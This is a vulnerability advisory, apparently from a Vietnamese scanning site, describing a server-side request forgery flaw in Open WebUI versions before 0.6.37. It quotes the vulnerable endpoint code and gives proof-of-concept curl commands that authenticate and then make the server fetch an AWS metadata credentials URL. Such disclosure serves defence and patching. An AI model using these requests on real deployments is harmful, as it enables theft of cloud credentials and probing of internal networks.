| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| open-webui | < 0.6.37 | 0.6.37 |
| open webui | < 0.6.37 | 0.6.37 |
A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.
The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.
Vulnerable code: @router.post("/process/web") def process_web( request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user) ): try: collection_name = form_data.collection_name if not collection_name: collection_name = calculate_sha256_string(form_data.url)[:63]
content, docs = get_content_from_url(request, form_data.url) # ← SSRF vulnerability
The form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:
Call chain:
No validation is performed for:
Prerequisites: Valid user account (any role)
Step 1 - Authenticate:
TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin"
-H 'Content-Type: application/json'
-d '{"email":"[email protected]","password":"password"}'
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
Step 2 - Basic SSRF Test (external URL):
curl -s "http://localhost:3000/api/v1/retrieval/process/web"
-H "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/json'
-d '{"url":"http://example.com"}'
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíResult: Server fetches example.com and returns its content, proving the vulnerability.
{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }
Step 3 - Advanced Attack (AWS metadata):
curl -s "http://localhost:3000/api/v1/retrieval/process/web"
-H "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/json'
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
Result: Server exposes cloud credentials if running on AWS/GCP/Azure.
Other attack examples:
Who is affected: All authenticated users (no special permissions required)
Attack capabilities: